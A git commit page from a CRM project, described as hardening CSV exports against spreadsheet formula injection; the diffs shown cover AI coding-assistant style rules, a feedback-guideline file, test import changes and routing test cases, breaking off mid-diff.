Prevent csv export injections (#14347)
**Small Security Issue:** CSV exports were vulnerable to formula injection attacks when users entered values starting with =, +, -, or @. (only happens if a logged-in user injects corrupted data) Solution: - Added ZWJ (Zero-Width Joiner) protection that prefixes dangerous values with invisible Unicode character - This is the best way to preserve original data while preventing Excel from executing formulas - Added import cleanup to restore original values when re-importing Changes: - New sanitizeValueForCSVExport() function for security - Updated all CSV export paths to use both security + formatting functions - Added comprehensive tests covering attack vectors and international characters - Also added cursor rules for better code consistency --------- Co-authored-by: Charles Bochet <charlesBochet@users.noreply.github.com>
This commit is contained in:
@@ -70,6 +70,7 @@ const processUserData = (
|
||||
|
||||
## Comments
|
||||
```typescript
|
||||
// ✅ Use short-form comments, NOT JSDoc blocks
|
||||
// ✅ Explain business logic and non-obvious intentions
|
||||
// Apply 15% discount for premium users with orders > $100
|
||||
const discount = isPremiumUser && orderTotal > 100 ? 0.15 : 0;
|
||||
@@ -77,14 +78,27 @@ const discount = isPremiumUser && orderTotal > 100 ? 0.15 : 0;
|
||||
// TODO: Replace with proper authentication service
|
||||
const isAuthenticated = localStorage.getItem('token') !== null;
|
||||
|
||||
/**
|
||||
* JSDoc for public APIs
|
||||
* @param basePrice - The base price before modifications
|
||||
* @returns The final price after tax and discount
|
||||
*/
|
||||
// ✅ Multi-line comments use multiple // lines (NOT /** */ blocks)
|
||||
// Calculates the total price after applying tax and discount
|
||||
// Returns the final price that should be charged to the customer
|
||||
const calculateTotalPrice = (basePrice: number): number => {
|
||||
// Implementation
|
||||
};
|
||||
|
||||
// ❌ AVOID JSDoc blocks - use short comments instead
|
||||
/**
|
||||
* This style is NOT preferred in this codebase
|
||||
*/
|
||||
```
|
||||
|
||||
## Security Patterns
|
||||
```typescript
|
||||
// ✅ CSV Export: Always apply security first, then formatting
|
||||
const safeValue = formatValueForCSV(sanitizeValueForCSVExport(userInput));
|
||||
|
||||
// ✅ Input validation before processing
|
||||
const sanitizedInput = validateAndSanitize(userInput);
|
||||
const result = processData(sanitizedInput);
|
||||
```
|
||||
|
||||
## Error Handling
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
---
|
||||
description: Guidelines for incorporating user feedback and improving cursor rules
|
||||
globs: []
|
||||
alwaysApply: true
|
||||
---
|
||||
# Feedback Incorporation Guidelines
|
||||
|
||||
## Post-Interaction Reflection
|
||||
|
||||
After each coding session or significant interaction, the AI should:
|
||||
|
||||
### 1. Reflect on User Feedback
|
||||
- **Identify patterns** in user corrections or suggestions
|
||||
- **Note recurring issues** that could be prevented with better rules
|
||||
- **Recognize gaps** in current cursor rules or guidelines
|
||||
|
||||
### 2. Suggest Rule Improvements
|
||||
When user provides feedback that reveals a pattern or preference:
|
||||
|
||||
```typescript
|
||||
// Example feedback patterns to watch for:
|
||||
// - "We don't use useEffect, handle state changes in event callbacks"
|
||||
// - "We don't use JSDoc blocks, prefer // comments"
|
||||
// - "Always use named exports, never default exports"
|
||||
// - "We prefer functional components over class components"
|
||||
// - "Use event handlers over useEffect for state updates"
|
||||
```
|
||||
|
||||
### 3. Proactive Rule Suggestions
|
||||
At the end of interactions, suggest:
|
||||
|
||||
```markdown
|
||||
## 💡 Suggested Cursor Rule Updates
|
||||
|
||||
Based on your feedback today, I recommend adding/updating these rules:
|
||||
|
||||
**Code Style Rule Update:**
|
||||
- Add preference for // comments over JSDoc blocks
|
||||
- Enforce named exports only (no default exports)
|
||||
|
||||
**React Guidelines Update:**
|
||||
- Document preference for event handlers over useEffect
|
||||
- Add functional components only rule
|
||||
|
||||
Would you like me to help incorporate these into your cursor rules?
|
||||
```
|
||||
|
||||
## Implementation Process
|
||||
|
||||
### When to Suggest Updates
|
||||
- User corrects the same type of mistake multiple times
|
||||
- User explains a codebase-specific preference
|
||||
- User points out missing functionality or incomplete implementations
|
||||
- User provides context about existing patterns not captured in rules
|
||||
|
||||
### How to Present Suggestions
|
||||
1. **Summarize the pattern** observed from feedback
|
||||
2. **Propose specific rule language** that would prevent the issue
|
||||
3. **Explain the benefit** of codifying this knowledge
|
||||
4. **Ask for confirmation** before implementing
|
||||
|
||||
### Rule Categories to Consider
|
||||
- **Code Style**: Formatting, naming, comment styles, export patterns
|
||||
- **React Patterns**: Hook usage, component structure, state management
|
||||
- **Architecture**: File organization, import patterns, component composition
|
||||
- **Testing**: Test structure, naming, coverage expectations
|
||||
- **Performance**: Optimization patterns, anti-patterns to avoid
|
||||
|
||||
## Example Feedback Integration
|
||||
|
||||
```markdown
|
||||
## Today's Learning: React State Management Patterns
|
||||
|
||||
**User Feedback Received:**
|
||||
- "We don't use useEffect, handle state changes in event callbacks"
|
||||
- "We don't use JSDoc blocks, prefer // comments"
|
||||
- "Always use named exports, never default exports"
|
||||
|
||||
**Proposed Rule Additions:**
|
||||
```typescript
|
||||
// ✅ React State Updates - Use event handlers, not useEffect
|
||||
const handleButtonClick = () => {
|
||||
setData(newData); // Direct state update in event handler
|
||||
};
|
||||
|
||||
// ❌ Avoid useEffect for state updates
|
||||
// useEffect(() => { setData(newData); }, [trigger]);
|
||||
|
||||
// ✅ Named exports only
|
||||
export const UserComponent = () => {};
|
||||
export const useUserData = () => {};
|
||||
```
|
||||
|
||||
**Benefits:**
|
||||
- Prevents useEffect overuse and related bugs
|
||||
- Ensures consistent export patterns across codebase
|
||||
- Documents preferred React patterns for the team
|
||||
```
|
||||
|
||||
This approach helps the AI learn from each interaction and continuously improve the development experience.
|
||||
@@ -2,7 +2,7 @@ import { renderHook } from '@testing-library/react';
|
||||
import { MemoryRouter, useNavigate } from 'react-router-dom';
|
||||
|
||||
import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
|
||||
jest.mock('react-router-dom', () => ({
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { renderHook } from '@testing-library/react';
|
||||
import { MemoryRouter, useNavigate } from 'react-router-dom';
|
||||
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { useNavigateSettings } from '~/hooks/useNavigateSettings';
|
||||
|
||||
jest.mock('react-router-dom', () => ({
|
||||
|
||||
+23
-24
@@ -1,11 +1,10 @@
|
||||
import { useIsLogged } from '@/auth/hooks/useIsLogged';
|
||||
import { useDefaultHomePagePath } from '@/navigation/hooks/useDefaultHomePagePath';
|
||||
import { useOnboardingStatus } from '@/onboarding/hooks/useOnboardingStatus';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useIsWorkspaceActivationStatusEqualsTo } from '@/workspace/hooks/useIsWorkspaceActivationStatusEqualsTo';
|
||||
import { useParams } from 'react-router-dom';
|
||||
import { useRecoilValue } from 'recoil';
|
||||
import { AppPath, SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
|
||||
import { OnboardingStatus } from '~/generated/graphql';
|
||||
|
||||
@@ -86,7 +85,7 @@ const testCases: {
|
||||
verifyEmailRedirectPath?: string;
|
||||
}[] = [
|
||||
{ loc: AppPath.Verify, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.Verify, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.Verify, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.Verify, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: undefined },
|
||||
{ loc: AppPath.Verify, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.Verify, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -96,7 +95,7 @@ const testCases: {
|
||||
{ loc: AppPath.Verify, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath },
|
||||
|
||||
{ loc: AppPath.SignInUp, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.SignInUp, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.SignInUp, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.SignInUp, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: undefined },
|
||||
{ loc: AppPath.SignInUp, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.SignInUp, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -106,7 +105,7 @@ const testCases: {
|
||||
{ loc: AppPath.SignInUp, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath },
|
||||
|
||||
{ loc: AppPath.Invite, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: '/plan-required' },
|
||||
{ loc: AppPath.Invite, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.Invite, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.Invite, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: undefined },
|
||||
{ loc: AppPath.Invite, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: '/create/workspace' },
|
||||
{ loc: AppPath.Invite, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: '/create/profile' },
|
||||
@@ -116,7 +115,7 @@ const testCases: {
|
||||
{ loc: AppPath.Invite, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath },
|
||||
|
||||
{ loc: AppPath.ResetPassword, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: '/plan-required' },
|
||||
{ loc: AppPath.ResetPassword, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.ResetPassword, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.ResetPassword, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: undefined },
|
||||
{ loc: AppPath.ResetPassword, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: '/create/workspace' },
|
||||
{ loc: AppPath.ResetPassword, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: '/create/profile' },
|
||||
@@ -127,7 +126,7 @@ const testCases: {
|
||||
|
||||
{ loc: AppPath.VerifyEmail, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.VerifyEmail, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, verifyEmailRedirectPath: '/nextPath?key=value', res: '/nextPath?key=value' },
|
||||
{ loc: AppPath.VerifyEmail, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.VerifyEmail, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.VerifyEmail, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, verifyEmailRedirectPath: '/nextPath?key=value', res: undefined },
|
||||
{ loc: AppPath.VerifyEmail, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: undefined },
|
||||
{ loc: AppPath.VerifyEmail, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
@@ -138,7 +137,7 @@ const testCases: {
|
||||
{ loc: AppPath.VerifyEmail, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath },
|
||||
|
||||
{ loc: AppPath.CreateWorkspace, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.CreateWorkspace, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.CreateWorkspace, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.CreateWorkspace, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.CreateWorkspace, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: undefined },
|
||||
{ loc: AppPath.CreateWorkspace, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -148,7 +147,7 @@ const testCases: {
|
||||
{ loc: AppPath.CreateWorkspace, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath },
|
||||
|
||||
{ loc: AppPath.CreateProfile, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.CreateProfile, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.CreateProfile, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.CreateProfile, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.CreateProfile, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.CreateProfile, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: undefined },
|
||||
@@ -158,7 +157,7 @@ const testCases: {
|
||||
{ loc: AppPath.CreateProfile, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath },
|
||||
|
||||
{ loc: AppPath.SyncEmails, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.SyncEmails, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.SyncEmails, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.SyncEmails, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.SyncEmails, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.SyncEmails, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -168,7 +167,7 @@ const testCases: {
|
||||
{ loc: AppPath.SyncEmails, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath },
|
||||
|
||||
{ loc: AppPath.InviteTeam, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.InviteTeam, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.InviteTeam, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.InviteTeam, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.InviteTeam, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.InviteTeam, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -178,7 +177,7 @@ const testCases: {
|
||||
{ loc: AppPath.InviteTeam, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath },
|
||||
|
||||
{ loc: AppPath.BookCallDecision, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: undefined },
|
||||
{ loc: AppPath.BookCallDecision, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.BookCallDecision, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.BookCallDecision, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.BookCallDecision, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: undefined },
|
||||
{ loc: AppPath.BookCallDecision, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -188,7 +187,7 @@ const testCases: {
|
||||
{ loc: AppPath.BookCallDecision, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath },
|
||||
|
||||
{ loc: AppPath.BookCall, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: undefined },
|
||||
{ loc: AppPath.BookCall, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.BookCall, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.BookCall, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.BookCall, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: undefined },
|
||||
{ loc: AppPath.BookCall, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -198,7 +197,7 @@ const testCases: {
|
||||
{ loc: AppPath.BookCall, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath },
|
||||
|
||||
{ loc: AppPath.PlanRequired, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: undefined },
|
||||
{ loc: AppPath.PlanRequired, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.PlanRequired, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.PlanRequired, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.PlanRequired, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.PlanRequired, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -208,7 +207,7 @@ const testCases: {
|
||||
{ loc: AppPath.PlanRequired, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath },
|
||||
|
||||
{ loc: AppPath.PlanRequiredSuccess, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: undefined },
|
||||
{ loc: AppPath.PlanRequiredSuccess, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.PlanRequiredSuccess, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.PlanRequiredSuccess, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.PlanRequiredSuccess, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.PlanRequiredSuccess, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -218,7 +217,7 @@ const testCases: {
|
||||
{ loc: AppPath.PlanRequiredSuccess, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath },
|
||||
|
||||
{ loc: AppPath.Index, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.Index, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.Index, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.Index, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.Index, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.Index, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -228,7 +227,7 @@ const testCases: {
|
||||
{ loc: AppPath.Index, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: defaultHomePagePath },
|
||||
|
||||
{ loc: AppPath.TasksPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.TasksPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.TasksPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.TasksPage, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.TasksPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.TasksPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -238,7 +237,7 @@ const testCases: {
|
||||
{ loc: AppPath.TasksPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: undefined },
|
||||
|
||||
{ loc: AppPath.OpportunitiesPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.OpportunitiesPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.OpportunitiesPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.OpportunitiesPage, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.OpportunitiesPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.OpportunitiesPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -248,7 +247,7 @@ const testCases: {
|
||||
{ loc: AppPath.OpportunitiesPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: undefined },
|
||||
|
||||
{ loc: AppPath.RecordIndexPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.RecordIndexPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.RecordIndexPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.RecordIndexPage, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.RecordIndexPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.RecordIndexPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -260,7 +259,7 @@ const testCases: {
|
||||
{ loc: AppPath.RecordIndexPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: AppPath.NotFound, objectNamePluralFromParams: 'non-existing-object', objectNamePluralFromMetadata: 'existing-object' },
|
||||
|
||||
{ loc: AppPath.RecordShowPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.RecordShowPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.RecordShowPage, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.RecordShowPage, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.RecordShowPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.RecordShowPage, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -280,7 +279,7 @@ const testCases: {
|
||||
